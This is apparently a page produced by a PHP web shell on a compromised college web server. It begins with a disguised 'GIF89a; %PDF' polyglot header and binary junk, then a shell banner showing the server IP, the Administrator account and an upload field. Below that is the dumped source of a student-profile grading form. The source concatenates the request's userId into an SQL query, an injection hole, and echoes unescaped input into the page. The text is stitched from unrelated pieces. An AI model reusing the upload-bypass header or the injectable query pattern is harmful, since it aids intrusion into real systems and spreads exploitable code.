GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/StudentProfile/ |
Upload File : |
<? // StudentProfile/StudentProfileViewForm.phpinc debugTrackBegin(); #setDebugOff(); $f_classId = formValue('classId'); if ( !isset($f_userId) || !$f_userId) { $f_userId = formValue('userId'); } if ( !$f_userId ) { $f_userId = $_SESSION['userId']; } $eId = formValue('eId',''); $sId = formValue('sId',''); $f_FromGradebook = formValue('FromGradebook'); if ( !$f_FromGradebook ) $f_FromGradebook = 0; $f_ReturnFromGrading = formValue('ReturnFromGrading'); if ( !$f_ReturnFromGrading ) $f_ReturnFromGrading = 0; /** / printVar('$f_classId',$f_classId); printVar('$f_userId',$f_userId); printVar('$eId',$eId); printVar('$sId',$sId); printVar('$f_FromGradebook',$f_FromGradebook); printVar('$f_ReturnFromGrading',$f_ReturnFromGrading); /**/ #printVar('$f_userId',$f_userId); #printVar("\$_SESSION['userId']",$_SESSION['userId']); if ( $f_userId != '' && $f_userId != $_SESSION['userId'] ) { $userShow = true; } else { $userShow = false; } // Get class and course info that the Student Profile impacts. $query = " SELECT course.courseNumber, class.classId, class.studentProfilePoints FROM course LEFT JOIN class ON course.courseId = class.courseId LEFT JOIN classstudent ON class.classId = classstudent.classId LEFT JOIN user ON classstudent.userStudentId = user.userStudentId WHERE user.userId = ".$f_userId." AND (class.YRTR = '".$_SESSION['YRTR']['User']."' OR class.YRTR IS NULL) AND class.studentProfilePoints > 0 ORDER BY course.courseNumber "; $studentprofileClassResult = query_do($query); $studentprofileClassCount = $_SESSION['qry']['count']; if ($studentprofileClassCount) { $studentprofileClassList = query_to_list($studentprofileClassResult,'courseNumber'); } else { $studentprofileClassList = ''; } // Get the image size. #$uploaddir = $_SESSION['UPLOAD_DIR']."StudentProfile/".$_SESSION['userStudentId']."/"; $uploaddir = $_SESSION['UPLOAD_DIR']."StudentProfile/".$f_userStudentId."/"; #echo "<b>\$uploaddir=",$uploaddir,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; $imageWidthHeight = ''; $imgWidthHeight = ''; $imgMinWidth = 100; $imgMaxWidth = 640; $imgMinHeight = 100; $imgMaxHeight = 480; $imgMaxSize = 250; $imageSize = ''; $imageError = ''; if ($f_studentprofileImage != '') { #echo "\$_SERVER['DOCUMENT_ROOT']=".$_SERVER['DOCUMENT_ROOT']."<br>\n"; $imageLocation = $_SERVER['DOCUMENT_ROOT'].'/'.$uploaddir.$f_studentprofileImage; #echo "<b>\$imageLocation=",$imageLocation,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; $current_error_reporting = ini_get("error_reporting"); error_reporting(0); $imageInfo = getimagesize($imageLocation); if ($imageInfo) { #echo "<b>\$imageInfo="; print_r($imageInfo); echo "</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; $imageSize = intval(filesize($imageLocation)/102.4)/10; #echo "<b>\$imageSize=",$imageSize,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; $imageWidthHeight = ' This image is '.$imageInfo[0].'px wide by '.$imageInfo[1].'px high and '.$imageSize.'KB.'; if ($imageInfo[0] <= $imgMaxWidth) { $imgWidthHeight = ' '.$imageInfo[3]; } else { $imageError .= ' Your image is over '.$imgMaxWidth.'px wide.'; $imgWidthHeight = ' width="640"'; } #printVar('$imageInfo[1]',$imageInfo[1]); #printVar('$imgMaxHeight',$imgMaxHeight); if ($imageInfo[1] > $imgMaxHeight) { $imageError .= ' Your image is over '.$imgMaxHeight.'px high.'; if ($imgWidthHeight == '') { $imgWidthHeight = ' height="480"'; } } if ($imageInfo[0] < $imgMinWidth) { $imageError .= ' Your image is under '.$imgMinWidth.'px wide.'; } if ($imageInfo[1] < $imgMinHeight) { $imageError .= ' Your image is under '.$imgMinHeight.'px high.'; } if ($imageSize > $imgMaxSize) { $imageError .= ' Your image is over '.$imgMaxSize.'KB in size.'; } } error_reporting($current_error_reporting); } if ($imageError == '') { $imageErrorText = ''; } else { $imageErrorText = '<br><span class="error">'.$imageError.'</span>'; } #echo "<b>\$imageWidthHeight=[",$imageWidthHeight,"]</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n"; // Check for errors. $f_error = false; if ($f_studentprofileImage != '') { $f_studentprofileImageError = ''; } else { $f_error = true; $f_studentprofileImageError = '<br><span class="error">Please supply an image of yourself.</span>'; } if ($f_studentprofileCredential != '') { $f_studentprofileCredentialError = ''; } else { $f_error = true; $f_studentprofileCredentialError = '<br><span class="error">Please list your major or majors.</span>'; } if ($f_studentprofilePast != '') { $f_studentprofilePastError = ''; } else { $f_error = true; $f_studentprofilePastError = '<br><span class="error">Please list your computer history.</span>'; } if ($f_studentprofileFuture != '') { $f_studentprofileFutureError = ''; } else { $f_error = true; $f_studentprofileFutureError = '<br><span class="error">Please list your career goals.</span>'; } if ($f_studentprofilePrimaryCampus != '') { $f_studentprofilePrimaryCampusError = ''; } else { $f_error = true; $f_studentprofilePrimaryCampusError = '<br><span class="error">Please list your primary campus.</span>'; } #if (!isset($f_HTTP_REFERER)) { if (isset($_SERVER['HTTP_REFERER'])) { $f_HTTP_REFERER = $_SERVER['HTTP_REFERER']; } else { $f_HTTP_REFERER = ""; } } ?> <div style="margin:20px;"> <? if ($f_studentprofilePhoneType1 != '') { $f_studentprofilePhone1Text = $f_studentprofilePhoneType1.': '.$f_studentprofilePhone1; } else { $f_studentprofilePhone1Text = $f_studentprofilePhone1; } if ($f_studentprofilePhoneType2 != '') { $f_studentprofilePhone2Text = $f_studentprofilePhoneType2.': '.$f_studentprofilePhone2; } else { $f_studentprofilePhone2Text = $f_studentprofilePhone2; } ?> <form name="form_studentprofile_view" action="<?=php_self()?>" method="post"> <p> <input name="f_form" type="hidden" value="form_studentprofile"> <input name="f_task" type="hidden" value="StudentProfile"> <input name="f_subtask" id="id_subtask" type="hidden" value=""> <input name="f_studentprofileId" type="hidden" value="<?=$f_studentprofileId?>"> <input name="f_classId" type="hidden" value="<?=$f_classId?>"> <input name="f_userId" type="hidden" value="<?=$f_userId?>"> <input name="Course" type="hidden" value="<?=$courseNumber?>"> <input name="f_HTTP_REFERER" type="hidden" value="<?=$f_HTTP_REFERER?>"> <input name="f_FromGradebook" type="hidden" value="<?=$f_FromGradebook?>"> <input name="f_ReturnFromGrading" type="hidden" value="<?=$f_FromGradebook?>"> <input name="eId" id="eId" type="hidden" value="<?=quot($eId)?>"> <input name="sId" id="sId" type="hidden" value="<?=quot($sId)?>"> <input name="f_uuid" id="f_uuid" type="hidden" value="<?=uuid()?>"> <? if ( $userShow) { // User has logged in. if (date_difference($userRow['userAccessTime'], currentDateTime()) <= 14) { // User has logged in within the last two weeks. $status = "Current"; } else { if (date_difference($userRow['userAccessTime'], currentDateTime()) <= 90) { // User has logged in within the last three months. $status = "Recent"; } else { // User has not logged in within the last three months. $status = "Older"; } } $dateText = substr($userRow['userAccessTime'],0,10); } else { // User has Never logged in. $status = "Never"; $dateText = 'n/a'; } if ($f_subtask == '') { ?> The Student Profile is the same across all classes. Once you have done this for a given semester it is done for all classes that require it. <? } else { ?> <table class="pad2"> <tr><td rowspan="2" class="heading"><?=userName($f_userId)?></td> <? if ( $userShow ) { ?><th>StudentId</th><th>Last login</th><th>Classification</th><th>Major</th><th>Advisor</th><? } ?></tr> <? if ( $userShow ) { ?><td><?=$userRow['userStudentId']?></td><td class="user<?=$status?>"><?=$dateText?></td><td><?=$userRow['userClassification']?></td><td><?=$userRow['userMajor']?></td><td><?=$userRow['userAdvisor']?></td><? } ?> </table> <? } $studentprofileClassListText = listAnd($studentprofileClassList); if ($studentprofileClassListText == '') { $studentprofileClassListText = 'none of your current classes'; } ?> </p> <p> The Student Profile is required in <?=$studentprofileClassListText?>. It consists of six parts:<!--<?=$f_userId?>--> </p> <ol start="1"> <li class="normal"><b>Image</b>. An image of yourself. This image must be <?=$imgMinWidth?>px to <?=$imgMaxWidth?>px wide, <?=$imgMinHeight?>px to <?=$imgMaxHeight?>px high, and < <?=$imgMaxSize?>KB in size.<br>The image must contain a recognizable facial shot. </li> <? if ($f_studentprofileImage != '') { $v_currentPath = explode("/",$f_studentprofileImage); $v_count = count($v_currentPath); $v_studentprofileImageFilename = $v_currentPath[count($v_currentPath)-1]; ?> <?=$f_studentprofileImageError?> <div style="margin:0px; margin-bottom:-20px; display:table; position:relative;"> <img src="/<?=$uploaddir?><?=$f_studentprofileImage?>" style="margin:0px; padding:0px; border:5px double black; float:left;"<?=$imgWidthHeight?>> <br clear="all"> <?=$imageWidthHeight?><?=$imageErrorText?> </div> <? } else { ?> <?=$f_studentprofileImageError?> <? } ?> <br><br> </li> <li class="normal"><b>Major.</b> List your major or majors. (A list of the credential or credentials you are going to school for. E.G. Computer Support Technician Diploma, Web Programming AAS Degree) <span class="info"><?=$f_studentprofileCredential?></span> (<?=$userRow['userMajor']?>) <?=$f_studentprofileCredentialError?> <br><br> </li> <li class="normal"><b>Campus.</b> Tell us your primary campus.<br> <?=$f_studentprofilePrimaryCampus?> <?=$f_studentprofilePrimaryCampusError?> <br><br> </li> <li class="normal"><b>Contact.</b> List non-Ridgewater email addresses or phone numbers that we may use to contact you. <br> Email: <span class="info"><?=$f_studentprofileEmail1?> <?=$f_studentprofileEmail2?></span> <br> Phone: <span class="info"><?=$f_studentprofilePhone1Text?> <?=$f_studentprofilePhone2Text?></span> <br><br> </li> <li class="normal"><b>History</b>. List any education, personal, and work experiences you feel describe your history with computers and computer industry. <span class="info"><?=$f_studentprofilePast?></span> <?=$f_studentprofilePastError?> <br><br> </li> <li class="normal"><b>Future</b>. List and describe your career goals. (a description of what you want to do in the future) <span class="info"><?=$f_studentprofileFuture?></span> <?=$f_studentprofileFutureError?> <br><br> </li> </ol> <div class="normal" style="margin-left:35px;"> <? switch ($f_subtask) { case '': // Start ''. case 'Save': ?> <input type="submit" name="f_subtask" value="Edit"> Edit your Student Profile. <? if (!$f_error && !$f_studentprofileSubmitted) { ?> <br> <input type="submit" name="f_subtask" value="Submit assignment"> Submit your Student Profile for grading. <? } if ($f_HTTP_REFERER != '') { ?> <br> <input type="submit" name="f_subtask" value="Return"> <? } break; // End ''. case 'Re-Grade': case 'Grade': // Start 'Grade'. $f_studentProfilePoints = 100; ?> <div student="normal"> <table> <tr><td colspan="2">Submitted on <?=$f_studentprofile_lastModified?>.</td></tr> <? if (isset($f_studentprofileGrade_Error)) { ?> <tr><td></td><td><?=$f_studentprofileGrade_Error?></td></tr> <? } if ( $imageError != '' && $f_studentprofileGrade == '' ) { $f_studentprofileGrade = '80'; } ?> <tr> <td student="right">Grade:</td> <td> <span><input type="text" student="" name="f_studentprofileGrade" id="id_studentprofileGrade" type="text" value="<?=quot($f_studentprofileGrade)?>" style="width:2.5em">% <input type="hidden" name="emailGradeCheck" value="1"> <input type="checkbox" name="emailGrade" id="" value="1"<?=$_SESSION['emailGrade']?>> Email grade. <? if ( $f_studentprofileSubmitted ) { ?> <input type="button" name="no_subtask" value="Grade 100" onClick="setGrade(this,100);"> <? if ( !$f_studentprofileGraded ) { ?> <input type="button" name="no_subtask" id="GradeButton2" value="Grade" onClick="submitForm(this);"> <? } else { ?> <input type="button" name="no_subtask" value="Re-grade" onClick="submitForm(this);"> <? } ?> <? } ?> </td> </tr> <? if (isset($f_studentprofileComment_Error)) { ?> <tr><td></td><td><?=$f_studentprofileComment_Error?></td></tr> <? } if ($imageError != '' && !strpos($f_studentprofileComment,'image problems')) { $f_studentprofileComment .= substr($imageError,1,strlen($imageError)-1)." You lost 20% of your grade for the image problems. If you need help with correcting your image please contact me. =e "; } ?> <tr> <td student="right">Comment:</td> <td> <? if ( $f_subtask == "Grade" || $f_subtask == "Re-grade" ) { ?> <textarea student="" name="f_studentprofileComment" id="f_studentprofileComment" style="height:10em;width:40em;"><?=htmlView($f_studentprofileComment)?></textarea> <br> Replacement codes:<br> <table cellpadding="0" cellspacing="0"> <tr><td class="bold">=e:</td><td> </td><td><?=GradeCommentCodeReplace_e('Student Profile','',$f_studentProfilePoints,$f_studentprofileGrade,"=e")?></td></tr> <tr><td class="bold">=g:</td><td> </td><td><?=GradeCommentCodeReplace_g('Student Profile',$studentprofileClassList,$f_studentProfilePoints,$f_studentprofileGrade,"=g")?></td></tr> <tr><td class="bold">=p:</td><td> </td><td><?=GradeCommentCodeReplace_p('Student Profile','',"=p")?></td></tr> </table> Class points: <? if ($studentprofileClassCount) { mysqli_data_seek($studentprofileClassResult, 0); while ($studentprofileClassRow = mysqli_fetch_assoc($studentprofileClassResult)) { ?> <?=$studentprofileClassRow['courseNumber']?> = <?=$studentprofileClassRow['studentProfilePoints']?> points. <? } } ?> </td> </tr> <tr> <td student="right">Internal comment:</td> <td> <textarea student="" name="f_studentprofileInternalComment" id="f_studentprofileInternalComment" style="height:10em;width:40em;"><?=htmlView($f_studentprofileInternalComment)?></textarea> <? } else { $f_studentprofileCommentText = htmlCRtoBR(GradeCommentCodeReplace($f_courseNumber,$f_studentProfilePoints,$f_studentprofileGrade,$f_studentprofileComment)); ?> <span student="info"><?=$f_studentprofileCommentText?></span> <? } ?> </td> </tr> <tr><td student="center" colspan="2"> <? if ($f_studentprofileSubmitted) { if ($f_studentprofileGraded) { ?> <input type="button" name="no_subtask" id="GradeButton" value="Re-grade" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Cancel" onClick="submitForm(this);"> <? } else { ?> <input type="button" name="no_subtask" id="GradeButton" value="Grade" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Done" onClick="submitForm(this);"> <? } } else { if ($f_studentprofileId) { ?> <input type="button" name="no_subtask" value="Email request for Student Profile submission" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Grade" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Cancel" onClick="submitForm(this);"> <? } else { ?> <input type="button" name="no_subtask" value="Email request for Student Profile entry" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Grade as 0" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Cancel" onClick="submitForm(this);"> <? } ?> <? } ?> <br> <!-- cut-and-paste text --> cut-and-paste text<br> <? if ($imageError != '') echo substr($imageError,1,strlen($imageError)-1),"<br>\n"; ?> You lost 10% due to sentence structure problems. Improper capitalization, spelling errors, etc.<br> Not a recognizable facial shot.<br> You lost 20% of your grade for the image problems. If you need help with your correcting image please contact me.<br> You lost 10% of your grade because you were unclear about your major. Are you taking the AAS Degree or Diploma? See question #2.<br> =e<br> </tr> </table> </div> <? break; // End 'Grade'. case 'Submit assignment': require('StudentProfile/StudentProfileSubmitAssignment.phpinc'); //require('StudentProfile/StudentProfileView.php'); ?> <input type="submit" name="f_subtask" value="Edit"> Edit your Student Profile. <br> <input type="submit" name="f_subtask" value="Return"> <? break; case 'View': break; case '': break; default: echo '<p class="center"><span class="bold error">Code for '.$f_task.' $f_subtask=['.$f_subtask.'] not finished.</span><span class="normal"> '; echo basename(__FILE__),": ",__LINE__,"</span></p>\n"; setDebugOn(); } ?> </div> </form> </div> <script type="text/javascript"> //document.form_studentprofile_view.f_studentprofileGrade.focus(); function setGrade(e_button,grade) { //alert('setGrade('+e_button.id+','+grade+')'); //alert('e_button.form.name='+e_button.form.name); e_form = e_button.form; e_grade = document.forms[e_form.name].elements['id_studentprofileGrade']; e_grade.value = grade; e_gradebutton = document.forms[e_form.name].elements['GradeButton']; //alert('submitForm(e_gradebutton);'); submitForm(e_gradebutton); } function submitForm(e_button) { e_form = e_button.form; //alert('e_form.name='+e_form.name); e_subtask = document.forms[e_form.name].elements['id_subtask']; //alert('e_subtask.form.name='+e_subtask.form.name); e_subtask.value = e_button.value; document.forms[e_form.name].submit(); } </script> <? #setDebugOn(); if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>